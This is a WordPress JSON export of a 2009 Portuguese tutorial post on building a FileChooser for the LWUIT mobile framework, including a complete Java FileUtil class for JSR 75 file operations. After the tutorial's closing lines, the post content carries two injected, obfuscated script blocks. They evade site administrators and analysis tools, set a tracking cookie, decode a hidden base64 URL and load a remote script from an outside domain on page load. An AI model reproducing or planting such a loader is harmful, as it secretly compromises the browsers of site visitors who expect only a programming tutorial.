{"id":6,"date":"2009-03-10T13:06:00","date_gmt":"2009-03-10T13:06:00","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=6"},"modified":"2025-10-26T22:45:16","modified_gmt":"2025-10-27T01:45:16","slug":"filechooser-com-lwuit","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2009\/03\/10\/filechooser-com-lwuit\/","title":{"rendered":"FileChooser com LWUIT"},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"LWUIT\" href=\"http:\/\/lwuit.java.net\/\" target=\"_blank\" rel=\"noopener\">LWUIT<\/a> \u00e9 um framework desenvolvido pela Sun Microsystems para facilitar o desenvolvimento de interface gr\u00e1ficas em celulares. Ele \u00e9 bem parecido com o Swing para desktop.<\/p>\n<p style=\"text-align: justify;\">Fiquei conhecendo esse framework gra\u00e7as ao Ant\u00f4nio Marin Neto em seu <a title=\"Blog do Neto\" href=\"http:\/\/netomarin.blogspot.com\/2008\/05\/uma-pequena-anlise-da-lwuit.html\" target=\"_blank\" rel=\"noopener\">blog<\/a>, que aborda caracter\u00edsticas do LWUIT como Recursos, Estabilidade, Desempenho e outros. Eu achei o LWUIT muito f\u00e1cil de usar e com v\u00e1rios recursos, embora o tempo para iniciar um programa feito nele \u00e9 um pouco grande. Nada que um loading screen n\u00e3o resolva.<\/p>\n<p style=\"text-align: justify;\">A cria\u00e7\u00e3o do FileChooser veio da necessidade de trabalhar com arquivos em um projeto que estou desenvolvendo para um Wiki m\u00f3vel. Em breve disponibilizarei os fontes do projeto como open source para o pessoal poder contribuir.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo foi utilizar a <a title=\"JSR 75\" href=\"http:\/\/jcp.org\/en\/jsr\/detail?id=75\" target=\"_blank\" rel=\"noopener\">JSR 75<\/a> para manipular os arquivos. Para verificar se o dispositivo tem suporte a essa JSR, voc\u00ea pode utilizar o seguinte c\u00f3digo:<\/p>\n<p style=\"text-align: justify;\">[cc lang=\"java\"]<br \/>\npublic static boolean isJSR75Available() {<br \/>\n    \/\/ Verifica se a JSR 75 est\u00e1 dispon\u00edvel<br \/>\n    return System.getProperty(\"microedition.io.file.FileConnection.version\") != null;<br \/>\n}<br \/>\n[\/cc]<br \/>\nOs pr\u00f3ximos c\u00f3digo ter\u00e3o refer\u00eancias \u00e0s classes Language e ExceptionHandler. A primeira foi utilizada para localiza\u00e7\u00e3o utilizando o editor de resources do LWUIT e a segunda \u00e9 respons\u00e1vel por processar exce\u00e7\u00f5es. Posteriormente eu explico o funcionamento dessas duas classes. Para funcionar o c\u00f3digo sem elas, basta voc\u00ea realizar o tratamento de erros da sua maneira e substituir a chamada de Language.getLocalizedString(\"...\") por alguma outra String.<\/p>\n<p style=\"text-align: justify;\">Agora vamos criar uma classe utilit\u00e1ria (FileUtil) para trabalhar com arquivos. \u00c9 necess\u00e1rio pegar o separador de arquivos, qual \u00e9 a string de diret\u00f3rio que representa o n\u00edvel superior e o prefixo para acessar arquivos.<br \/>\n[cc lang=\"java\"]<br \/>\npublic final static String FILE_SEPARATOR = (System.getProperty(\"file.separator\") != null) ? System.getProperty(\"file.separator\") : \"\/\";<br \/>\npublic final static String TOP_DIR = \"..\";<br \/>\npublic final static String FILE_PREFIX = \"file:\/\/\/\";<br \/>\n[\/cc]<br \/>\nPara verificar se o caminho passado \u00e9 uma raiz, utilizamos um workaround.<br \/>\n[cc lang=\"java\"]<br \/>\npublic static boolean isRoot(String path) {<br \/>\n    \/\/ Opera\u00e7\u00e3o sobre o path ao inv\u00e9s de verificar na lista de roots<br \/>\n    \/\/ Verifica se o primeiro separador de arquivo \u00e9 o \u00faltimo caractere<br \/>\n    if (path != null && path.indexOf(FileUtil.FILE_SEPARATOR) != path.length() - 1) {<br \/>\n        return false;<br \/>\n    }<br \/>\n    return true;<br \/>\n}<br \/>\n[\/cc]<br \/>\nDepois \u00e9 s\u00f3 utilizarmos o Connector.open para obter um FileConnection e executar as opera\u00e7\u00f5es em arquivos.<\/p>\n<p style=\"text-align: justify;\">Com isso temos o seguinte arquivo:<br \/>\n[cc lang=\"java\"]<br \/>\npackage br.com.thiagovespa.mobwiki.util;<\/p>\n<p>import java.io.DataInputStream;<br \/>\nimport java.io.DataOutputStream;<br \/>\nimport java.io.IOException;<br \/>\nimport java.util.Enumeration;<br \/>\nimport java.util.Vector;<\/p>\n<p>import javax.microedition.io.Connector;<br \/>\nimport javax.microedition.io.file.FileConnection;<\/p>\n<p>\/**<br \/>\n* Classe para manipula\u00e7\u00e3o de arquivos<br \/>\n*<br \/>\n* @author Thiago Galbiatti Vespa<br \/>\n*<br \/>\n*\/<br \/>\npublic final class FileUtil {<br \/>\n    public final static String FILE_SEPARATOR = (System<br \/>\n        .getProperty(\"file.separator\") != null) ? System<br \/>\n        .getProperty(\"file.separator\") : \"\/\";<\/p>\n<p>    public final static String TOP_DIR = \"..\";<br \/>\n    public final static String FILE_PREFIX = \"file:\/\/\/\";<\/p>\n<p>    \/**<br \/>\n    * Verifica se o caminho \u00e9 uma raiz baseado na string passada, pode resultar<br \/>\n    * em resultado falso caso seja passada um caminho inv\u00e1lido<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            caminho a ser verificado<br \/>\n    * @return verdadeiro se o formato da string for raiz<br \/>\n    *\/<br \/>\n    public static boolean isRoot(String path) {<br \/>\n        \/\/ Opera\u00e7\u00e3o sobre o path ao inv\u00e9s de verificar na lista de roots<br \/>\n        \/\/ Verifica se o primeiro separador de arquivo \u00e9 o \u00faltimo caractere<br \/>\n        if (path != null<br \/>\n                && path.indexOf(FileUtil.FILE_SEPARATOR) != path.length() - 1) {<br \/>\n            return false;<br \/>\n        }<br \/>\n        return true;<br \/>\n    }<\/p>\n<p>    \/**<br \/>\n    * Cria um diret\u00f3rio<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            diret\u00f3rio a ser criado<br \/>\n    * @return true se o diretorio foi criado, false caso contr\u00e1rio<br \/>\n    *\/<br \/>\n    public static boolean createDir(String path) {<br \/>\n        FileConnection newDir = null;<br \/>\n        try {<br \/>\n            newDir = (FileConnection) Connector.open(FileUtil.FILE_PREFIX<br \/>\n                + path + FileUtil.FILE_SEPARATOR, Connector.READ_WRITE);<br \/>\n            if (!newDir.exists()) {<br \/>\n                newDir.mkdir();<br \/>\n                return true;<br \/>\n            } else {<br \/>\n                ExceptionHandler.handleException(new IOException(Language<br \/>\n                    .getLocalizedString(\"dirAlreadyExist\")));<br \/>\n            }<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            if (newDir != null) {<br \/>\n                try {<br \/>\n                    newDir.close();<br \/>\n                } catch (IOException e) {<br \/>\n                    ExceptionHandler.handleException(e);<br \/>\n                }<br \/>\n            }<br \/>\n        }<br \/>\n        return false;<br \/>\n    }<\/p>\n<p>    \/**<br \/>\n    * Cria um novo arquivo<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            arquivo a ser criado<br \/>\n    * @return true se o arquivo foi criado, false caso contr\u00e1rio<br \/>\n    *\/<br \/>\n    public static boolean createNewFile(String path, String content) {<br \/>\n        FileConnection newFile = null;<br \/>\n        DataOutputStream dos = null;<br \/>\n        try {<br \/>\n            newFile = (FileConnection) Connector.open(FileUtil.FILE_PREFIX<br \/>\n                + path, Connector.READ_WRITE);<br \/>\n            if (!newFile.exists()) {<br \/>\n                newFile.create();<br \/>\n                dos = newFile.openDataOutputStream();<br \/>\n                dos.writeUTF(content);<br \/>\n                dos.flush();<br \/>\n                return true;<br \/>\n            } else {<br \/>\n                ExceptionHandler<br \/>\n                    .handleException(new IOException(Language<br \/>\n                    .getLocalizedString(\"file\")<br \/>\n                    + path<br \/>\n                    + Language<br \/>\n                    .getLocalizedString(\"already exists!\")));<br \/>\n            }<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            try {<br \/>\n                if (newFile != null) {<br \/>\n                    newFile.close();<br \/>\n                }<br \/>\n                if (dos != null) {<br \/>\n                    dos.close();<br \/>\n                }<br \/>\n            } catch (IOException e) {<br \/>\n                ExceptionHandler.handleException(e);<br \/>\n            }<br \/>\n        }<br \/>\n        return false;<br \/>\n    }<\/p>\n<p>    \/**<br \/>\n    * Atualiza arquivo<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            arquivo a ser atualizado<br \/>\n    * @return true se o arquivo foi atualizado, false caso contr\u00e1rio<br \/>\n    *\/<br \/>\n    public static boolean updateFile(String path, String content) {<br \/>\n        FileConnection file = null;<br \/>\n        DataOutputStream dos = null;<br \/>\n        try {<br \/>\n            file = (FileConnection) Connector.open(FileUtil.FILE_PREFIX + path,<br \/>\n                Connector.READ_WRITE);<br \/>\n            if (!file.exists()) {<br \/>\n                \/\/ Cria se n\u00e3o existe<br \/>\n                file.create();<br \/>\n            } else {<br \/>\n                \/\/ Trunca se j\u00e1 existe<br \/>\n                file.truncate(0);<br \/>\n            }<br \/>\n            dos = file.openDataOutputStream();<br \/>\n            dos.writeUTF(content);<br \/>\n            dos.flush();<br \/>\n            return true;<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            try {<br \/>\n                if (file != null) {<br \/>\n                    file.close();<br \/>\n                }<br \/>\n                if (dos != null) {<br \/>\n                    dos.close();<br \/>\n                }<br \/>\n            } catch (IOException e) {<br \/>\n                ExceptionHandler.handleException(e);<br \/>\n            }<br \/>\n        }<br \/>\n        return false;<br \/>\n    }<\/p>\n<p>    public static boolean existsFile(String path) {<br \/>\n        FileConnection file = null;<br \/>\n        try {<br \/>\n            file = (FileConnection) Connector.open(FileUtil.FILE_PREFIX + path,<br \/>\n                Connector.READ);<br \/>\n            if (file.exists()) {<br \/>\n                return true;<br \/>\n            }<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            try {<br \/>\n                if (file != null) {<br \/>\n                    file.close();<br \/>\n                }<br \/>\n            } catch (IOException e) {<br \/>\n                ExceptionHandler.handleException(e);<br \/>\n            }<br \/>\n        }<br \/>\n        return false;<br \/>\n    }<\/p>\n<p>    \/**<br \/>\n    * L\u00ea um arquivo<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            arquivo a ser lido<br \/>\n    * @return conte\u00fado do arquivo<br \/>\n    *\/<br \/>\n    public static String loadFile(String path) {<br \/>\n        FileConnection file = null;<br \/>\n        DataInputStream dis = null;<br \/>\n        String retVal = null;<br \/>\n        try {<br \/>\n            file = (FileConnection) Connector.open(FileUtil.FILE_PREFIX + path,<br \/>\n                Connector.READ);<br \/>\n            if (file.exists()) {<br \/>\n                dis = file.openDataInputStream();<br \/>\n                retVal = dis.readUTF();<br \/>\n            } else {<br \/>\n                ExceptionHandler.handleException(new IOException(\"File \" + path<br \/>\n                    + \" do not exists!\"));<br \/>\n            }<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            try {<br \/>\n                if (file != null) {<br \/>\n                    file.close();<br \/>\n                }<br \/>\n                if (dis != null) {<br \/>\n                    dis.close();<br \/>\n                }<br \/>\n            } catch (IOException e) {<br \/>\n                ExceptionHandler.handleException(e);<br \/>\n            }<br \/>\n        }<br \/>\n        return retVal;<br \/>\n    }<\/p>\n<p>    \/**<br \/>\n    * L\u00ea um diret\u00f3rio<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            diret\u00f3rio a ser lido<br \/>\n    * @return lista<br \/>\n    *\/<br \/>\n    public static String[] loadDir(String path, String pattern) {<br \/>\n        FileConnection dir = null;<br \/>\n        String[] retVal = null;<br \/>\n        Vector files = new Vector();<br \/>\n        try {<br \/>\n            dir = (FileConnection) Connector.open(FileUtil.FILE_PREFIX + path,<br \/>\n                Connector.READ);<br \/>\n            if (dir.exists()) {<br \/>\n                Enumeration en = dir.list(pattern, true);<br \/>\n                while (en.hasMoreElements()) {<br \/>\n                    String object = (String) en.nextElement();<br \/>\n                    files.addElement(object);<br \/>\n                }<br \/>\n                if (files != null) {<br \/>\n                    retVal = new String[files.size()];<br \/>\n                    files.copyInto(retVal);<br \/>\n                }<br \/>\n            } else {<br \/>\n                ExceptionHandler.handleException(new IOException(\"File \" + path<br \/>\n                    + \" do not exists!\"));<br \/>\n            }<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            try {<br \/>\n                if (dir != null) {<br \/>\n                    dir.close();<br \/>\n                }<br \/>\n            } catch (IOException e) {<br \/>\n                ExceptionHandler.handleException(e);<br \/>\n            }<br \/>\n        }<br \/>\n        return retVal;<br \/>\n    }<\/p>\n<p>    \/**<br \/>\n    * Remove um diret\u00f3rio<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            diret\u00f3rio a ser removido<br \/>\n    * @return true se removido e false caso contr\u00e1rio<br \/>\n    *\/<br \/>\n    public static boolean deleteDir(String path) {<br \/>\n        FileConnection dir = null;<br \/>\n        try {<br \/>\n            dir = (FileConnection) Connector.open(FileUtil.FILE_PREFIX + path,<br \/>\n                Connector.READ_WRITE);<br \/>\n            if (dir.exists()) {<br \/>\n                Enumeration en = dir.list(\"*\", true);<br \/>\n                while (en.hasMoreElements()) {<br \/>\n                    String object = (String) en.nextElement();<br \/>\n                    if (object.endsWith(FileUtil.FILE_SEPARATOR)) {<br \/>\n                        deleteDir(path + object);<br \/>\n                    } else {<br \/>\n                        deleteFile(path + object);<br \/>\n                    }<br \/>\n                }<br \/>\n                dir.delete();<br \/>\n                dir.close();<br \/>\n                return true;<br \/>\n            } else {<br \/>\n                ExceptionHandler.handleException(new IOException(Language<br \/>\n                    .getLocalizedString(\"file\")<br \/>\n                    + path + Language.getLocalizedString(\"doNotExist\")));<br \/>\n            }<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            try {<br \/>\n                if (dir != null) {<br \/>\n                    dir.close();<br \/>\n                }<br \/>\n            } catch (IOException e) {<br \/>\n                ExceptionHandler.handleException(e);<br \/>\n            }<br \/>\n        }<br \/>\n        return false;<br \/>\n    }<\/p>\n<p>    \/**<br \/>\n    * Remove um arquivo<br \/>\n    *<br \/>\n    * @param path<br \/>\n    *            arquivo a ser removido<br \/>\n    * @return true se removido e false caso contr\u00e1rio<br \/>\n    *\/<br \/>\n    public static boolean deleteFile(String path) {<br \/>\n        FileConnection file = null;<br \/>\n        try {<br \/>\n            file = (FileConnection) Connector.open(FileUtil.FILE_PREFIX + path,<br \/>\n                Connector.READ_WRITE);<br \/>\n            if (file.exists()) {<br \/>\n                file.delete();<br \/>\n                file.close();<br \/>\n                return true;<br \/>\n            } else {<br \/>\n                ExceptionHandler.handleException(new IOException(Language<br \/>\n                    .getLocalizedString(\"file\")<br \/>\n                    + path + Language.getLocalizedString(\"doNotExist\")));<br \/>\n            }<br \/>\n        } catch (IOException e) {<br \/>\n            ExceptionHandler.handleException(e);<br \/>\n        } catch (SecurityException e) {<br \/>\n            ExceptionHandler.handleException(e, Language<br \/>\n                .getLocalizedString(\"securityExceptionDesc\"));<br \/>\n        } finally {<br \/>\n            try {<br \/>\n                if (file != null) {<br \/>\n                    file.close();<br \/>\n                }<br \/>\n            } catch (IOException e) {<br \/>\n                ExceptionHandler.handleException(e);<br \/>\n            }<br \/>\n        }<br \/>\n        return false;<br \/>\n    }<\/p>\n<p>}[\/cc]<br \/>\nNo pr\u00f3ximo post a gente parte para a parte gr\u00e1fica do FileChooser.<\/p>\n<p style=\"text-align: justify;\">At\u00e9 a pr\u00f3xima!<\/p>\n<div class=\"blogger-post-footer\" style=\"text-align: justify;\">Thiago Galbiatti Vespa<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O LWUIT \u00e9 um framework desenvolvido pela Sun Microsystems para facilitar o desenvolvimento de interface gr\u00e1ficas em celulares. Ele \u00e9 bem parecido com o Swing para desktop. Fiquei conhecendo esse framework gra\u00e7as ao Ant\u00f4nio Marin Neto em seu blog, que <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2009\/03\/10\/filechooser-com-lwuit\/\">Continue lendo  <span class=\"screen-reader-text\">  FileChooser com LWUIT<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,5,4],"tags":[],"class_list":["post-6","post","type-post","status-publish","format-standard","hentry","category-java","category-jme","category-lwuit"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/6","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=6"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/6\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=6"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=6"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}